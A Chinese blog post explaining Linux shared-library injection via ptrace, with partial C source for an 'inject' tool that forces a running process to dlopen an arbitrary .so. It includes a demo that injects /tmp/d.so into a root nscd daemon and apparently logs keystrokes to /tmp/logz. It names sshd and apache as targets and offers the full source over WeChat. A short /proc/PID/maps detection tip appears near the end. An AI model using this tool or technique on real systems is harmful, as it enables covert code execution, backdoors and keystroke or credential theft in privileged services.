在Linux系统中,动态链接库(Dynamic Shared Object,DSO)注入是一种高级技术,它允许在不重启进程的情况下,向正在运行的进程中注入新的代码或修改现有代码。这种技术在系统调试、软件测试、安全研究以及某些特殊的应用场景中非常有用。
Linux动态链接库注入的技术原理
Linux系统中的动态链接库注入主要依赖于几个关键的技术和概念
- ptrace系统调用
ptrace
是Linux内核提供的一组强大的接口,用于跟踪和控制其他进程的执行。通过ptrace
,一个进程可以观察到另一个进程的执行状态,甚至可以控制目标进程的执行流程。在动态链接库注入中,ptrace
常被用来暂停目标进程,修改其内存映射或者寄存器状态,从而实现将新的代码注入到目标进程中。
- 动态加载器
在Linux系统中,当一个可执行文件启动时,实际上是由动态加载器(ld.so
)负责加载和链接所需的动态链接库。动态加载器提供了如dlopen
、dlsym
等接口,可以在运行时动态加载库并获取库中符号的地址。在动态链接库注入过程中,这些接口可以被用来加载自定义的DSO,以实现对原程序功能的修改或扩展。
- ELF文件格式
ELF不仅定义了可执行文件和共享对象(动态链接库)的格式,还包含了重定位表和符号表等关键信息,这些信息在动态链接库注入中至关重要。通过解析ELF文件,注入者可以精确地在进程的地址空间中定位到需要修改的部分,如重定向表中的条目,从而实现对特定函数调用的拦截和替换。
- 函数重定向
在注入动态链接库后,通常需要将某些特定的函数调用重定向到新加载的DSO中的函数实现。这涉及修改进程内存中的全局偏移表或跳转表。PLT和GOT是动态链接的关键结构,用于在运行时解析和重定位外部符号。通过修改这些表,可以令原本指向某个动态链接库中的函数指针,改为指向注入库中的函数实现,从而改变程序的行为。
实现Linux动态链接库注入的基本步骤
实现Linux动态链接库注入的基本步骤如下:
- 关联目标进程
使用ptrace
系统调用附加到目标进程是实现DSO注入的第一步。通过ptrace
,注入进程可以控制目标进程的执行,使其暂停或继续运行。这一步是后续操作的基础,因为它为修改目标进程的内存提供了可能。
- 找到动态加载器的符号地址
在目标进程的内存中找到动态加载器(如ld.so
)中用于加载新DSO的函数(如dlopen
)的地址至关重要。动态加载器是负责在程序运行时加载和链接动态库的组件。通过查找这些关键函数的内存地址,注入者可以在后续步骤中利用它们来加载自定义的DSO。
- 准备DSO路径
将待注入的DSO文件的路径存储在目标进程的内存中,是为了让其能够被动态加载器的dlopen
函数识别和加载。这通常涉及到在目标进程的内存空间中找到合适的位置来存放这个路径字符串。
- 调用动态加载器函数
通过设置目标进程的寄存器,可以模拟对动态加载器中dlopen
等函数的调用,从而在目标进程中加载新的DSO。这一步是实际执行DSO注入的关键操作,它使得自定义的代码得以在目标进程中运行。
- 函数重定向
一旦新的DSO被加载,接下来通常是将某些特定的函数调用重定向到新DSO中的函数实现。这通常涉及到修改目标进程内存中的全局偏移表或跳转表,从而改变原有函数调用的目的地。
- 恢复目标进程
最后,解除对目标进程的控制,让其继续执行。这时,目标进程已经加载了新的DSO,并且特定的函数调用已经被重定向到新DSO中的实现。
Linux动态链接库注入的潜在应用场景
- 系统调试和测试
在软件开发和维护过程中,经常需要在不中断服务的情况下对应用程序进行调试或测试。利用DSO注入技术,开发者可以在运行时向正在运行的应用程序中注入额外的调试代码或测试代码。这种方式可以实时地观察和分析程序行为,而无需停止或重启服务,极大地提高了开发和调试的效率。
- 安全研究
安全研究人员在发现新的软件漏洞或进行漏洞利用研究时,DSO注入提供了一种无需修改原始代码即可测试漏洞的方法。通过动态注入包含特定功能的代码,研究人员可以模拟攻击场景,检验应用程序的安全防护能力,或者开发和测试可能的修复方案。这种灵活的测试手段对于提升软件安全性至关重要。
- 热补丁
热补丁是一种在不中断服务的情况下,动态修复应用程序中错误或漏洞的技术。利用DSO注入,运维人员可以即时地将修复代码以动态链接库的形式注入到目标进程中,而无需进行繁琐的重启操作。这种方法最大限度地减少了系统维护的停机时间,提升了系统的可用性和稳定性。
- 后门植入
尽管提及不多,但不得不注意的是,DSO注入技术也有被滥用的风险。在一些情况下,攻击者可能会利用这项技术在未经授权的情况下向应用程序中注入恶意代码,如后门程序,从而实现对受害系统的远程控制或数据窃取。这类行为不仅违法,也严重威胁信息安全,需要通过加强系统安全防御措施来防范。
...
struct process_hook {
const char *symbol;
pid_t pid;
char *dso;
void *dlopen_address;
uint32_t flags;
} process_hook = {NULL, 0, NULL, NULL, 0};
...
int inject_code(const struct process_hook *ph)
{
...
printf("[*] x86 mode\n");
if (ptrace(PTRACE_ATTACH, ph->pid, NULL, NULL) < 0)
die("[-] ptrace ATTACH");
waitpid(ph->pid, &status, 0);
if (ptrace(PTRACE_GETREGS, ph->pid, NULL, ®s) < 0)
die("[-] ptrace GETREGS");
peek_text(ph->pid, regs.esp + 1024, sbuf1, sizeof(sbuf1));
peek_text(ph->pid, regs.esp, sbuf2, sizeof(sbuf2));
/* 伪造保存的返回地址,触发SIGSEGV进行捕获 */
v = 0x0;
poke_text(ph->pid, regs.esp, (char *)&v, sizeof(v));
poke_text(ph->pid, regs.esp + 1024, ph->dso, strlen(ph->dso) + 1);
memcpy(&saved_regs, ®s, sizeof(regs));
printf("[+] esp=0x%lx eip=0x%lx\n", regs.esp, regs.eip);
/* 这次在堆栈上传递的参数(x86) */
v = regs.esp + 1024;
poke_text(ph->pid, regs.esp + sizeof(size_t), &v, sizeof(v));
v = RTLD_NOW|RTLD_GLOBAL;
#ifndef ANDROID
v |= RTLD_NODELETE;
#endif
poke_text(ph->pid, regs.esp + 2*sizeof(size_t), &v, sizeof(v));
...
if (ptrace(PTRACE_SETREGS, ph->pid, NULL, ®s) < 0)
die("[-] ptrace SETREGS");
do {
if (ptrace(PTRACE_CONT, ph->pid, NULL, NULL) < 0)
die("[-] ptrace CONT");
/* 应收到SIGSEGV以返回0 */
waitpid(ph->pid, &status, 0);
} while (!(WIFSTOPPED(status) && WSTOPSIG(status) == SIGSEGV));
if (ptrace(PTRACE_GETREGS, ph->pid, NULL, &aregs) < 0)
die("[-] ptrace GETREGS");
printf("[+] esp=0x%lx eip=0x%lx\n", aregs.esp, aregs.eip);
if (ptrace(PTRACE_SETREGS, ph->pid, 0, &saved_regs) < 0)
die("[-] ptrace SETREGS");
poke_text(ph->pid, saved_regs.esp + 1024, sbuf1, sizeof(sbuf1));
poke_text(ph->pid, saved_regs.esp, sbuf2, sizeof(sbuf2));
if (ptrace(PTRACE_DETACH, ph->pid, NULL, NULL) < 0)
die("[-] ptrace DETACH");
if (aregs.eip != 0)
printf("[-] dlopen in target may have failed (no clean NULL fault)\n");
return 0;
}
//计算目标符号地址的简便方法
void fill_offsets_maps(struct process_hook *ph)
{
...
printf("[*] Using /proc/pid/maps method ...\n");
my_libc = find_libc_start(getpid());
if (!my_libc) {
printf("[-] Unable to locate my own libc.\n");
return;
}
dlopen_mode = dlsym(RTLD_DEFAULT, ph->symbol);
if (dlopen_mode)
printf("[+] My '%s': %p\n", ph->symbol, dlopen_mode);
else {
printf("[-] Unable to locate my own '%s' address.\n", ph->symbol);
return;
}
dlopen_offset = dlopen_mode - my_libc;
daemon_libc = find_libc_start(ph->pid);
if (!daemon_libc) {
printf("[-] Unable to locate target's libc.\n");
return;
}
printf("[+] Foreign libc start: %p, offset=%d\n", daemon_libc, dlopen_offset);
ph->dlopen_address = daemon_libc + dlopen_offset;
}
void fill_offsets_auxv(struct process_hook *ph)
{
...
printf("[*] Using AT_BASE method ...\n");
my_base = at_base(getpid());
if (!my_base) {
printf("[-] Unable to locate my own AT_BASE.\n");
return;
}
printf("[+] My AT_BASE: 0x%zx\n", my_base);
dlopen_mode = dlsym(NULL, "__libc_dlopen_mode");
if (dlopen_mode)
printf("[+] My __libc_dlopen_mode: %p\n", dlopen_mode);
else {
printf("[-] Unable to locate my own dlopen address.\n");
return;
}
dlopen_offset = (size_t)dlopen_mode - my_base;
daemon_base = at_base(ph->pid);
if (!daemon_base) {
printf("[-] Unable to locate target's AT_BASE.\n");
return;
}
printf("[+] Foreign AT_BASE: 0x%zx, offset=%d\n", daemon_base, dlopen_offset);
memset(proc1, 0, sizeof(proc1));
if (readlink("/proc/self/exe", proc1, sizeof(proc1)) < 0) {
printf("[-] Unable to resolve my own path.\n");
return;
}
memset(proc2, 0, sizeof(proc2));
snprintf(buf, sizeof(buf), "/proc/%d/exe", ph->pid);
if (readlink(buf, proc2, sizeof(proc2)) < 0) {
printf("[-] Unable to resolve target path.\n");
return;
}
snprintf(buf, sizeof(buf), "ldd %s", proc1);
pfd = popen(buf, "r");
do {
if (!fgets(buf, sizeof(buf), pfd))
break;
sscanf(buf, "%*255[^l]libc%*255[^(](%zx)", &libc_a);
sscanf(buf, "%*255[^-]-linux%*255[^(](%zx)", &ld_a);
} while ((libc_a == 0 || ld_a == 0) && !feof(pfd));
pclose(pfd);
if (libc_a == 0 || ld_a == 0) {
printf("[-] Unable to determine lib difference (me).\n");
return;
}
snprintf(buf, sizeof(buf), "ldd %s", proc2);
pfd = popen(buf, "r");
do {
if (!fgets(buf, sizeof(buf), pfd))
break;
sscanf(buf, "%*255[^l]libc%*255[^(](%zx)", &libc_a_);
sscanf(buf, "%*255[^-]-linux%*255[^(](%zx)", &ld_a_);
} while ((libc_a_ == 0 || ld_a_ == 0) && !feof(pfd));
pclose(pfd);
if (libc_a_ == 0 || ld_a_ == 0) {
printf("[-] Unable to determine lib difference (target).\n");
return;
}
lib_diff = ld_a - libc_a - (ld_a_ - libc_a_);
printf("[+] lib diff: %d (0x%x)\n", lib_diff, lib_diff);
ph->dlopen_address = (void *)(daemon_base + dlopen_offset + lib_diff);
}
...
int main(int argc, char **argv)
{
...
while ((c = getopt(argc, argv, "s:p:P:")) != -1) {
switch (c) {
case 'P':
#ifdef ANDROID
process_hook.dso = strdup(optarg);
#else
process_hook.dso = realpath(optarg, pbuf);
#endif
break;
case 'p':
process_hook.pid = atoi(optarg);
break;
case 's':
show_auxv(optarg);
exit(0);
default:
usage(argv[0]);
}
}
#ifdef ANDROID
process_hook.symbol = "dlopen";
#else
setbuffer(stdout, NULL, 0);
process_hook.symbol = "__libc_dlopen_mode";
#endif
if (!process_hook.dso || !process_hook.pid) {
usage(argv[0]);
}
if (access(process_hook.dso, R_OK|X_OK) < 0) {
fprintf(stderr, "[-] DSO is not rx\n");
return 1;
}
fill_offsets_maps(&process_hook);
/* 这两种方法只适用于常见的Linux box */
#ifndef ANDROID
if (process_hook.dlopen_address == 0) {
fill_offsets_auxv(&process_hook);
}
if (process_hook.dlopen_address == 0) {
fill_offsets_nm(&process_hook);
}
#endif
if (process_hook.dlopen_address == 0) {
printf("[-] Unable to locate foreign dlopen address.\n");
return 1;
}
printf("[+] => Foreign '%s' address: %p\n", process_hook.symbol, process_hook.dlopen_address);
printf("[*] Using normalized DSO path '%s'\n", process_hook.dso);
inject_code(&process_hook);
printf("[+] done.\n");
return 0;
}
If you need the complete source code, please add the WeChat number (c17865354792)
minger:~ # uname -a
Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Fri Apr 20 16:44:24 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
minger:event # ps auxH|grep nscd
root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd
root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd
root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd
root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd
root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd
root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd
root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd
root 8833 0.0 0.0 5000 784 tty3 S+ 23:08 0:00 grep nscd
minger:event # ls -la /tmp/logz
ls: cannot access /tmp/logz: No such file or directory
正常nscd,无日志文件。注入DSO:
minger:event # ./inject 8824 /tmp/d.so
do_dlopen:0x2b6843415a40 do_dlopen_offset:000f2a40 daemon's dl_open:0x2b911b7fda40 daemon's libc:0x2b911b70b000
a 7fff8fbf7590
minger:event # cat /tmp/logz
<+c>at <Shift>7t<+m>p<Shift>7logz<Return>minger:event #
DSO成功注入。列表中还出现了一个线程:
minger:event # ps auxH|grep nscd
root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd
root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd
root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd
root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd
root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd
root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd
root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd
root 8824 0.0 0.0 137320 948 ? Ssl 23:09 0:00 /usr/sbin/nscd
root 8840 0.0 0.0 5000 788 tty3 S+ 23:09 0:00 grep nscd
如果你想检查恶意注入,请使用/proc/PID/maps。目标是nscd、sshd、apache等。输出中只应显示合理的库;没有d.so或/tmp路径等。
minger:~ # cat /proc/8824/maps
40000000-40001000 ---p 40000000 00:00 0
40001000-40201000 rw-p 40001000 00:00 0
40201000-40202000 ---p 40201000 00:00 0
40202000-40402000 rw-p 40202000 00:00 0
40402000-40403000 ---p 40402000 00:00 0
40403000-40603000 rw-p 40403000 00:00 0
40603000-40604000 ---p 40603000 00:00 0
40604000-40804000 rw-p 40604000 00:00 0
40804000-40805000 ---p 40804000 00:00 0
40805000-40a05000 rw-p 40805000 00:00 0
40a05000-40a06000 ---p 40a05000 00:00 0
40a06000-40c06000 rw-p 40a06000 00:00 0
40c06000-40c07000 ---p 40c06000 00:00 0
40c07000-41407000 rw-p 40c07000 00:00 0
2aaaaaad9000-2aaaaaae0000 r-xp 00000000 08:01 5837686 /lib64/libnss_compat-2.5.so
2aaaaaae0000-2aaaaacdf000 ---p 00007000 08:01 5837686 /lib64/libnss_compat-2.5.so
2aaaaacdf000-2aaaaace1000 rw-p 00006000 08:01 5837686 /lib64/libnss_compat-2.5.so
2aaaaad0e000-2aaaaad18000 r-xp 00000000 08:01 5837694 /lib64/libnss_nis-2.5.so
2aaaaad18000-2aaaaaf17000 ---p 0000a000 08:01 5837694 /lib64/libnss_nis-2.5.so
2aaaaaf17000-2aaaaaf19000 rw-p 00009000 08:01 5837694 /lib64/libnss_nis-2.5.so
2aaaaaf19000-2aaaaaf23000 r-xp 00000000 08:01 5837690 /lib64/libnss_files-2.5.so
2aaaaaf23000-2aaaab122000 ---p 0000a000 08:01 5837690 /lib64/libnss_files-2.5.so
2aaaab122000-2aaaab124000 rw-p 00009000 08:01 5837690 /lib64/libnss_files-2.5.so
2aaaab124000-2aaaab127000 r-xp 00000000 07:00 418032 /tmp/d.so
2aaaab127000-2aaaab326000 ---p 00003000 07:00 418032 /tmp/d.so
2aaaab326000-2aaaab327000 r--p 00002000 07:00 418032 /tmp/d.so
2aaaab327000-2aaaab329000 rw-p 00003000 07:00 418032 /tmp/d.so
2b911aeb1000-2b911aecd000 r-xp 00000000 08:01 5837666 /lib64/ld-2.5.so
2b911aecd000-2b911aece000 rw-p 2b911aecd000 00:00 0
2b911aefb000-2b911aefc000 rw-p 2b911aefb000 00:00 0
2b911b0cd000-2b911b0cf000 rw-p 0001c000 08:01 5837666 /lib64/ld-2.5.so
2b911b0cf000-2b911b0d7000 r-xp 00000000 08:01 5837703 /lib64/librt-2.5.so
2b911b0d7000-2b911b2d6000 ---p 00008000 08:01 5837703 /lib64/librt-2.5.so
2b911b2d6000-2b911b2d8000 rw-p 00007000 08:01 5837703 /lib64/librt-2.5.so
2b911b2d8000-2b911b2ee000 r-xp 00000000 08:01 5837699 /lib64/libpthread-2.5.so
2b911b2ee000-2b911b4ed000 ---p 00016000 08:01 5837699 /lib64/libpthread-2.5.so
2b911b4ed000-2b911b4ef000 rw-p 00015000 08:01 5837699 /lib64/libpthread-2.5.so
2b911b4ef000-2b911b4f3000 rw-p 2b911b4ef000 00:00 0
2b911b4f3000-2b911b507000 r-xp 00000000 08:01 5837684 /lib64/libnsl-2.5.so
2b911b507000-2b911b706000 ---p 00014000 08:01 5837684 /lib64/libnsl-2.5.so
2b911b706000-2b911b708000 rw-p 00013000 08:01 5837684 /lib64/libnsl-2.5.so
2b911b708000-2b911b70b000 rw-p 2b911b708000 00:00 0
2b911b70b000-2b911b844000 r-xp 00000000 08:01 5837673 /lib64/libc-2.5.so
2b911b844000-2b911ba43000 ---p 00139000 08:01 5837673 /lib64/libc-2.5.so
2b911ba43000-2b911ba46000 r--p 00138000 08:01 5837673 /lib64/libc-2.5.so
2b911ba46000-2b911ba48000 rw-p 0013b000 08:01 5837673 /lib64/libc-2.5.so
2b911ba48000-2b911ba4f000 rw-p 2b911ba48000 00:00 0
2b911ba4f000-2b911da4f000 rw-s 00000000 08:01 5937272 /var/run/nscd/passwd
2b911da4f000-2b911fa4f000 rw-s 00000000 08:01 5937273 /var/run/nscd/group
2b911fa4f000-2b9121a4f000 rw-s 00000000 08:01 5937393 /var/run/nscd/dbkwnWNO (deleted)
555555554000-55555556c000 r-xp 00000000 08:01 6132031 /usr/sbin/nscd
55555576c000-55555576e000 rw-p 00018000 08:01 6132031 /usr/sbin/nscd
55555576e000-55555578f000 rw-p 55555576e000 00:00 0 [heap]
7fff8fbe4000-7fff8fbf9000 rw-p 7fff8fbe4000 00:00 0 [stack]
ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vdso]
Inject工具的使用需要指定目标进程的PID和DSO路径。例如:
inject -p 1234 -P /path/to/tmp.so
在Inject工具中,-s
选项用于显示指定进程的auxiliary vector(辅助向量)。辅助向量是一组在程序启动时由操作系统传递给程序的环境信息,它包含了程序运行所需的一些重要信息,如程序的入口地址、程序的PHDR(程序头表)地址、页面大小、堆栈保护地址等。
要使用-s
选项,你需要知道目标进程的PID。然后,在命令行中按照以下格式调用Inject:
inject -s <pid>
这里的<pid>
是你想要查看辅助向量信息的进程的进程ID。
例如,如果你想要查看PID为1234的进程的辅助向量信息,你可以这样使用Inject:
inject -s 1234
执行这个命令后,Injectso会调用show_auxv
函数,该函数会读取并解析/proc/<pid>/auxv
文件,该文件包含了进程的辅助向量信息。然后,它会打印出每个辅助向量的类型和值。
辅助向量的一些常见类型包括:
AT_IGNORE
:忽略。AT_EXECFD
:执行文件的文件描述符。AT_PHDR
:程序头表的地址。AT_PHENT
:程序头表项的大小。AT_PHNUM
:程序头表项的数量。AT_PAGESZ
:页面大小。AT_BASE
:加载程序的动态链接器的基址。AT_FLAGS
:动态链接器的特征。AT_ENTRY
:程序入口点地址。AT_RANDOM
:用于ASLR的随机数。AT_EXECFN
:执行文件的路径。
通过查看这些信息,可以获得有关进程如何被操作系统加载和执行的更多细节。这对于调试和分析程序行为非常有用。
总结
Inject是一款功能强大的Linux DSO注入工具,它通过ptrace系统调用实现了对运行中进程的代码注入。该工具在系统调试、软件测试和安全研究等领域有着广泛的应用。
We also undertake the development of program requirements here. If necessary, please follow the WeChat official account 【程序猿编码】and contact me
参考:https://www.cnblogs.com/lsgxeva/p/12929465.html